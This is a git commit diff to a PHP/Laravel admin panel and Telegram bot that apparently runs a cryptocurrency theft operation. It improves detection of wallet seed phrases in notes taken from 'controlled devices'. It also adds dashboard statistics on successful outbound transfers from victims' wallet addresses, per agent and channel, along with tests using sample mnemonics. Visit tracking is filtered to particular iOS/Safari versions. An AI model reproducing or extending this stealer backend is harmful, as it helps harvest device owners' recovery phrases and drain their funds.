feat: scan
This commit is contained in:
@@ -39,8 +39,10 @@ class NoteScan extends Model
|
|||||||
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
|
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public const HASH_VERSION = '2';
|
||||||
|
|
||||||
public static function itemHash(array $item): string
|
public static function itemHash(array $item): string
|
||||||
{
|
{
|
||||||
return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
return hash('sha256', self::HASH_VERSION."\n".(string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ namespace App\Services;
|
|||||||
|
|
||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
use App\Models\PageVisit;
|
use App\Models\PageVisit;
|
||||||
|
use App\Models\TransferRecord;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
@@ -37,6 +38,8 @@ class DashboardStatsService
|
|||||||
* mnemonic_count: int,
|
* mnemonic_count: int,
|
||||||
* address_count: int,
|
* address_count: int,
|
||||||
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
||||||
|
* transfer_count: int,
|
||||||
|
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
|
||||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||||
@@ -102,6 +105,14 @@ class DashboardStatsService
|
|||||||
$from,
|
$from,
|
||||||
$to,
|
$to,
|
||||||
);
|
);
|
||||||
|
[$transferCount, $transfers] = $this->transferStats(
|
||||||
|
$agent,
|
||||||
|
$agentUserId,
|
||||||
|
$channelId,
|
||||||
|
$channelExact,
|
||||||
|
$from,
|
||||||
|
$to,
|
||||||
|
);
|
||||||
|
|
||||||
$visits = PageVisit::query();
|
$visits = PageVisit::query();
|
||||||
AgentScope::applyChannelIdScope($visits, $agent);
|
AgentScope::applyChannelIdScope($visits, $agent);
|
||||||
@@ -193,6 +204,8 @@ class DashboardStatsService
|
|||||||
'mnemonic_count' => $mnemonicCount,
|
'mnemonic_count' => $mnemonicCount,
|
||||||
'address_count' => $addressCount,
|
'address_count' => $addressCount,
|
||||||
'balances' => $balances,
|
'balances' => $balances,
|
||||||
|
'transfer_count' => $transferCount,
|
||||||
|
'transfers' => $transfers,
|
||||||
'by_os' => $byOs,
|
'by_os' => $byOs,
|
||||||
'by_ios_version' => $byIosVersion,
|
'by_ios_version' => $byIosVersion,
|
||||||
'by_device_ios_version' => $byDeviceIosVersion,
|
'by_device_ios_version' => $byDeviceIosVersion,
|
||||||
@@ -320,6 +333,76 @@ class DashboardStatsService
|
|||||||
return [(int) ($row?->addr_count ?? 0), $out];
|
return [(int) ($row?->addr_count ?? 0), $out];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Successful outbound transfer count + per-asset sums in the selected range.
|
||||||
|
*
|
||||||
|
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
|
||||||
|
*/
|
||||||
|
private function transferStats(
|
||||||
|
?User $agent,
|
||||||
|
?int $agentUserId,
|
||||||
|
string $channelId,
|
||||||
|
bool $channelExact,
|
||||||
|
Carbon $from,
|
||||||
|
Carbon $to,
|
||||||
|
): array {
|
||||||
|
$q = TransferRecord::query()
|
||||||
|
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
|
||||||
|
->whereBetween('transfer_records.created_at', [$from, $to]);
|
||||||
|
|
||||||
|
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
|
||||||
|
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
|
||||||
|
$sub->selectRaw('1')
|
||||||
|
->from('wallet_addresses')
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||||
|
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
|
||||||
|
|
||||||
|
$scopedIds = null;
|
||||||
|
if ($agent !== null) {
|
||||||
|
$scopedIds = AgentScope::channelIdsFor($agent);
|
||||||
|
} elseif ($agentUserId !== null) {
|
||||||
|
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
|
||||||
|
}
|
||||||
|
if ($scopedIds !== null) {
|
||||||
|
if ($scopedIds === []) {
|
||||||
|
$sub->whereRaw('1 = 0');
|
||||||
|
} else {
|
||||||
|
$sub->whereIn('devices.channel_id', $scopedIds);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($channelId !== '') {
|
||||||
|
if ($channelExact) {
|
||||||
|
$sub->where('devices.channel_id', $channelId);
|
||||||
|
} else {
|
||||||
|
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
|
||||||
|
? 'CAST(transfer_records.amount AS REAL)'
|
||||||
|
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
|
||||||
|
$rows = (clone $q)
|
||||||
|
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
|
||||||
|
->groupByRaw('UPPER(transfer_records.asset)')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
|
||||||
|
$count = 0;
|
||||||
|
foreach ($rows as $row) {
|
||||||
|
$count += (int) $row->cnt;
|
||||||
|
$col = strtolower((string) $row->asset);
|
||||||
|
if (! isset($coins[$col])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$formatted = WalletAddress::formatAmount($col, $row->total);
|
||||||
|
$coins[$col] = $formatted === '' ? '0' : $formatted;
|
||||||
|
}
|
||||||
|
|
||||||
|
return [$count, $coins];
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Map telegram /data day token to dashboard range key.
|
* Map telegram /data day token to dashboard range key.
|
||||||
* Empty / omitted → today.
|
* Empty / omitted → today.
|
||||||
|
|||||||
@@ -237,8 +237,8 @@ class MnemonicDetector
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
|
* Keep list indices (1 / 1. / 1.during / 12)wrist) from breaking a phrase,
|
||||||
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
* but digits/units like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||||
*
|
*
|
||||||
* @return list<string>
|
* @return list<string>
|
||||||
*/
|
*/
|
||||||
@@ -247,6 +247,9 @@ class MnemonicDetector
|
|||||||
$out = [];
|
$out = [];
|
||||||
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
|
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
|
||||||
$word = trim($raw, ".,!?;:\"'()[]");
|
$word = trim($raw, ".,!?;:\"'()[]");
|
||||||
|
if ($word === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||||
$out[] = $word;
|
$out[] = $word;
|
||||||
|
|
||||||
@@ -255,6 +258,11 @@ class MnemonicDetector
|
|||||||
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
|
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
if (preg_match('/^\d{1,2}[.)\]、.::]?([a-z]{3,8})$/u', $word, $m) === 1) {
|
||||||
|
$out[] = $m[1];
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
$out[] = '';
|
$out[] = '';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -97,7 +97,10 @@ class MnemonicScanService
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
$text = $this->noteScanText(
|
||||||
|
trim((string) ($item['title'] ?? '')),
|
||||||
|
trim((string) ($item['body'] ?? '')),
|
||||||
|
);
|
||||||
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
||||||
$row->content_hash = $hash;
|
$row->content_hash = $hash;
|
||||||
$row->scan_status = $this->noteStatus($note, $key);
|
$row->scan_status = $this->noteStatus($note, $key);
|
||||||
@@ -377,4 +380,16 @@ class MnemonicScanService
|
|||||||
default => MnemonicScanStatus::EMPTY,
|
default => MnemonicScanStatus::EMPTY,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function noteScanText(string $title, string $body): string
|
||||||
|
{
|
||||||
|
if ($title === '') {
|
||||||
|
return $body;
|
||||||
|
}
|
||||||
|
if ($body === '' || $title === $body || str_starts_with($body, $title)) {
|
||||||
|
return $body !== '' ? $body : $title;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $title."\n".$body;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -272,6 +272,7 @@ class NoteContent
|
|||||||
{
|
{
|
||||||
$lines = preg_split('/\n+/', $text) ?: [];
|
$lines = preg_split('/\n+/', $text) ?: [];
|
||||||
$title = '';
|
$title = '';
|
||||||
|
$firstLine = '';
|
||||||
$rest = [];
|
$rest = [];
|
||||||
foreach ($lines as $line) {
|
foreach ($lines as $line) {
|
||||||
$line = trim($line);
|
$line = trim($line);
|
||||||
@@ -280,12 +281,18 @@ class NoteContent
|
|||||||
}
|
}
|
||||||
if ($title === '') {
|
if ($title === '') {
|
||||||
$title = mb_substr($line, 0, 80);
|
$title = mb_substr($line, 0, 80);
|
||||||
|
$firstLine = $line;
|
||||||
|
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
$rest[] = $line;
|
$rest[] = $line;
|
||||||
}
|
}
|
||||||
|
|
||||||
return [$title, trim(implode("\n", $rest))];
|
$body = trim(implode("\n", $rest));
|
||||||
|
if ($body === '') {
|
||||||
|
$body = $firstLine;
|
||||||
|
}
|
||||||
|
|
||||||
|
return [$title, $body];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -92,11 +92,11 @@ class DataCommand
|
|||||||
'助记词: '.$data['mnemonic_count'],
|
'助记词: '.$data['mnemonic_count'],
|
||||||
'钱包地址: '.$data['address_count'],
|
'钱包地址: '.$data['address_count'],
|
||||||
'',
|
'',
|
||||||
'💰 总余额(区间内新增地址)',
|
'💰 总余额 / 交易额(新增地址 · 成功转出 '.$data['transfer_count'].' 笔)',
|
||||||
'• USDT '.$data['balances']['usdt'],
|
'• USDT '.$data['balances']['usdt'].' / '.$data['transfers']['usdt'],
|
||||||
'• TRX '.$data['balances']['trx'],
|
'• TRX '.$data['balances']['trx'].' / '.$data['transfers']['trx'],
|
||||||
'• BTC '.$data['balances']['btc'],
|
'• BTC '.$data['balances']['btc'].' / '.$data['transfers']['btc'],
|
||||||
'• ETH '.$data['balances']['eth'],
|
'• ETH '.$data['balances']['eth'].' / '.$data['transfers']['eth'],
|
||||||
'• BNB '.$data['balances']['bnb'],
|
'• BNB '.$data['balances']['bnb'],
|
||||||
'',
|
'',
|
||||||
'🌐 页面访问',
|
'🌐 页面访问',
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ class HelpCommand
|
|||||||
' 健康检查',
|
' 健康检查',
|
||||||
'',
|
'',
|
||||||
'/data [1|7|30] [channelId]',
|
'/data [1|7|30] [channelId]',
|
||||||
' 查询仪表盘统计(设备/余额/访问/分布)',
|
' 查询仪表盘统计(设备/余额/交易额/访问/分布)',
|
||||||
' 天数默认当天;渠道默认全部',
|
' 天数默认当天;渠道默认全部',
|
||||||
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
|
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
|
||||||
' 例: /data',
|
' 例: /data',
|
||||||
|
|||||||
@@ -145,38 +145,17 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">区间内新增地址</span></div>
|
<div class="dash-section-label">余额 / 交易额<span style="margin-left:8px;font-size:12px;">新增地址余额 · 成功转出 <span id="dash-tx-count">0</span> 笔</span></div>
|
||||||
<div class="dash-grid dash-grid-5">
|
<div class="dash-grid dash-grid-5">
|
||||||
|
@foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'btc' => 'BTC', 'eth' => 'ETH', 'bnb' => 'BNB'] as $coin => $label)
|
||||||
<div class="dash-tile">
|
<div class="dash-tile">
|
||||||
<div class="dash-tile-hd">USDT</div>
|
<div class="dash-tile-hd">{{ $label }}</div>
|
||||||
<div class="dash-tile-bd">
|
<div class="dash-tile-bd">
|
||||||
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div>
|
<div class="dash-metric" id="dash-coin-{{ $coin }}">—</div>
|
||||||
</div>
|
<span class="dash-metric-caption">余额/转出</span>
|
||||||
</div>
|
|
||||||
<div class="dash-tile">
|
|
||||||
<div class="dash-tile-hd">TRX</div>
|
|
||||||
<div class="dash-tile-bd">
|
|
||||||
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="dash-tile">
|
|
||||||
<div class="dash-tile-hd">BTC</div>
|
|
||||||
<div class="dash-tile-bd">
|
|
||||||
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="dash-tile">
|
|
||||||
<div class="dash-tile-hd">ETH</div>
|
|
||||||
<div class="dash-tile-bd">
|
|
||||||
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="dash-tile">
|
|
||||||
<div class="dash-tile-hd">BNB</div>
|
|
||||||
<div class="dash-tile-bd">
|
|
||||||
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
@endforeach
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
|
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
|
||||||
@@ -335,8 +314,12 @@ layui.use(['form', 'laydate', 'layer'], function () {
|
|||||||
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
|
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
|
||||||
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
|
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
|
||||||
var bal = res.data.balances || {};
|
var bal = res.data.balances || {};
|
||||||
|
var tx = res.data.transfers || {};
|
||||||
|
$('#dash-tx-count').text(res.data.transfer_count || 0);
|
||||||
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
|
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
|
||||||
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0');
|
var left = bal[c] != null && bal[c] !== '' ? bal[c] : '0';
|
||||||
|
var right = c === 'bnb' ? '—' : (tx[c] != null && tx[c] !== '' ? tx[c] : '0');
|
||||||
|
$('#dash-coin-' + c).html(ratioHtml(left, right));
|
||||||
});
|
});
|
||||||
fillRows('#dash-by-os', res.data.by_os);
|
fillRows('#dash-by-os', res.data.by_os);
|
||||||
fillRows('#dash-by-ios-version', res.data.by_ios_version);
|
fillRows('#dash-by-ios-version', res.data.by_ios_version);
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ namespace Tests\Feature;
|
|||||||
use App\Models\Admin;
|
use App\Models\Admin;
|
||||||
use App\Models\Channel;
|
use App\Models\Channel;
|
||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
|
use App\Models\TransferRecord;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
@@ -297,6 +298,46 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
'source' => 'imToken',
|
'source' => 'imToken',
|
||||||
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
|
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
|
||||||
]);
|
]);
|
||||||
|
TransferRecord::query()->create([
|
||||||
|
'from_address' => 'TTestAddress111111111111111111111',
|
||||||
|
'to_address' => 'TTo',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => 'tx-usdt',
|
||||||
|
'amount' => '10.5',
|
||||||
|
'type' => TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'USDT',
|
||||||
|
'status' => TransferRecord::STATUS_SUCCESS,
|
||||||
|
]);
|
||||||
|
TransferRecord::query()->create([
|
||||||
|
'from_address' => 'TTestAddress111111111111111111111',
|
||||||
|
'to_address' => 'TTo',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => 'tx-trx',
|
||||||
|
'amount' => '3.25',
|
||||||
|
'type' => TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'TRX',
|
||||||
|
'status' => TransferRecord::STATUS_SUCCESS,
|
||||||
|
]);
|
||||||
|
TransferRecord::query()->create([
|
||||||
|
'from_address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
|
||||||
|
'to_address' => '0xto',
|
||||||
|
'chain' => 'eth',
|
||||||
|
'tx_hash' => 'tx-eth',
|
||||||
|
'amount' => '0.1',
|
||||||
|
'type' => TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'ETH',
|
||||||
|
'status' => TransferRecord::STATUS_SUCCESS,
|
||||||
|
]);
|
||||||
|
TransferRecord::query()->create([
|
||||||
|
'from_address' => 'TTestAddress111111111111111111111',
|
||||||
|
'to_address' => 'TTo',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => 'tx-fail',
|
||||||
|
'amount' => '99',
|
||||||
|
'type' => TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'USDT',
|
||||||
|
'status' => TransferRecord::STATUS_FAILED,
|
||||||
|
]);
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->getJson(route('admin.dashboard.data', ['range' => '30d']))
|
->getJson(route('admin.dashboard.data', ['range' => '30d']))
|
||||||
@@ -310,11 +351,16 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
->assertJsonPath('data.balances.eth', '0.1')
|
->assertJsonPath('data.balances.eth', '0.1')
|
||||||
->assertJsonPath('data.balances.btc', '0.001')
|
->assertJsonPath('data.balances.btc', '0.001')
|
||||||
->assertJsonPath('data.balances.bnb', '1.25')
|
->assertJsonPath('data.balances.bnb', '1.25')
|
||||||
|
->assertJsonPath('data.transfer_count', 3)
|
||||||
|
->assertJsonPath('data.transfers.usdt', '10.5')
|
||||||
|
->assertJsonPath('data.transfers.trx', '3.25')
|
||||||
|
->assertJsonPath('data.transfers.eth', '0.1')
|
||||||
|
->assertJsonPath('data.transfers.btc', '0')
|
||||||
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
|
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
|
||||||
->assertJsonPath('data.by_device_ios_version.0.count', 2)
|
->assertJsonPath('data.by_device_ios_version.0.count', 2)
|
||||||
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
|
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
|
||||||
->assertJsonPath('data.by_device_ios_version.1.count', 1)
|
->assertJsonPath('data.by_device_ios_version.1.count', 1)
|
||||||
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
|
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -378,6 +424,35 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
'updated_at' => '2026-08-10 12:00:00',
|
'updated_at' => '2026-08-10 12:00:00',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
$inTx = TransferRecord::query()->create([
|
||||||
|
'from_address' => 'TInRangeAddr111111111111111111111',
|
||||||
|
'to_address' => 'TTo',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => 'in-tx',
|
||||||
|
'amount' => '4.2',
|
||||||
|
'type' => TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'USDT',
|
||||||
|
'status' => TransferRecord::STATUS_SUCCESS,
|
||||||
|
]);
|
||||||
|
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $inTx->id)->update([
|
||||||
|
'created_at' => '2026-08-10 12:00:00',
|
||||||
|
'updated_at' => '2026-08-10 12:00:00',
|
||||||
|
]);
|
||||||
|
$outTx = TransferRecord::query()->create([
|
||||||
|
'from_address' => 'TOutOfRangeAddr11111111111111111',
|
||||||
|
'to_address' => 'TTo',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => 'out-tx',
|
||||||
|
'amount' => '9',
|
||||||
|
'type' => TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'USDT',
|
||||||
|
'status' => TransferRecord::STATUS_SUCCESS,
|
||||||
|
]);
|
||||||
|
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $outTx->id)->update([
|
||||||
|
'created_at' => '2026-07-01 12:00:00',
|
||||||
|
'updated_at' => '2026-07-01 12:00:00',
|
||||||
|
]);
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->getJson(route('admin.dashboard.data', [
|
->getJson(route('admin.dashboard.data', [
|
||||||
'date_from' => '2026-08-01',
|
'date_from' => '2026-08-01',
|
||||||
@@ -391,6 +466,8 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
->assertJsonPath('data.mnemonic_count', 1)
|
->assertJsonPath('data.mnemonic_count', 1)
|
||||||
->assertJsonPath('data.address_count', 1)
|
->assertJsonPath('data.address_count', 1)
|
||||||
->assertJsonPath('data.balances.usdt', '5')
|
->assertJsonPath('data.balances.usdt', '5')
|
||||||
|
->assertJsonPath('data.transfer_count', 1)
|
||||||
|
->assertJsonPath('data.transfers.usdt', '4.2')
|
||||||
->assertJsonPath('data.date_from', '2026-08-01')
|
->assertJsonPath('data.date_from', '2026-08-01')
|
||||||
->assertJsonPath('data.date_to', '2026-08-15');
|
->assertJsonPath('data.date_to', '2026-08-15');
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -71,6 +71,29 @@ TXT;
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
|
||||||
|
{
|
||||||
|
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
|
||||||
|
$device = $this->device('dev-scan-glued');
|
||||||
|
Note::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'content' => [
|
||||||
|
'1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist',
|
||||||
|
],
|
||||||
|
'content_hash' => hash('sha256', 'glued'),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||||
|
|
||||||
|
$finding = MnemonicFinding::query()->first();
|
||||||
|
$this->assertNotNull($finding);
|
||||||
|
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
|
||||||
|
$this->assertSame($phrase, $finding->candidate);
|
||||||
|
$this->assertSame(1, $device->mnemonics()->count());
|
||||||
|
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function nine_note_hits_are_ignored(): void
|
public function nine_note_hits_are_ignored(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -290,6 +290,7 @@ class TelegramBotTest extends TestCase
|
|||||||
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
|
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
|
||||||
$this->assertStringContainsString('设备与资产', $text);
|
$this->assertStringContainsString('设备与资产', $text);
|
||||||
$this->assertStringContainsString('总余额', $text);
|
$this->assertStringContainsString('总余额', $text);
|
||||||
|
$this->assertStringContainsString('交易额', $text);
|
||||||
$this->assertStringContainsString('助记词', $text);
|
$this->assertStringContainsString('助记词', $text);
|
||||||
$this->assertStringContainsString('受控设备 · 系统版本', $text);
|
$this->assertStringContainsString('受控设备 · 系统版本', $text);
|
||||||
$this->assertStringContainsString('按 iOS 版本', $text);
|
$this->assertStringContainsString('按 iOS 版本', $text);
|
||||||
|
|||||||
@@ -117,6 +117,21 @@ TXT;
|
|||||||
$this->assertSame(12, $hit['word_count']);
|
$this->assertSame(12, $hit['word_count']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function notes_keep_inline_and_glued_numbered_phrase(): void
|
||||||
|
{
|
||||||
|
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
|
||||||
|
$spaced = '1 during 2 exhaust 3 tool 4 custom 5 smart 6 old 7 busy 8 region 9 skin 10 wasp 11 attitude 12 wrist';
|
||||||
|
$glued = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
|
||||||
|
|
||||||
|
foreach ([$spaced, $glued] as $text) {
|
||||||
|
$hit = (new MnemonicDetector)->detect($text, true);
|
||||||
|
$this->assertNotNull($hit);
|
||||||
|
$this->assertTrue($hit['confirmed']);
|
||||||
|
$this->assertSame($phrase, $hit['candidate']);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function prefers_english_phrase_over_chinese_ui(): void
|
public function prefers_english_phrase_over_chinese_ui(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -40,6 +40,18 @@ class NoteContentTest extends TestCase
|
|||||||
$this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"]));
|
$this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"]));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function keeps_full_single_line_body_when_longer_than_title(): void
|
||||||
|
{
|
||||||
|
$line = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
|
||||||
|
$items = NoteContent::fromList([$line]);
|
||||||
|
|
||||||
|
$this->assertCount(1, $items);
|
||||||
|
$this->assertTrue(str_starts_with($line, $items[0]['title']));
|
||||||
|
$this->assertSame($line, $items[0]['body']);
|
||||||
|
$this->assertStringContainsString('12.wrist', $items[0]['body']);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function keeps_title_as_body_when_rest_is_notes_junk(): void
|
public function keeps_title_as_body_when_rest_is_notes_junk(): void
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user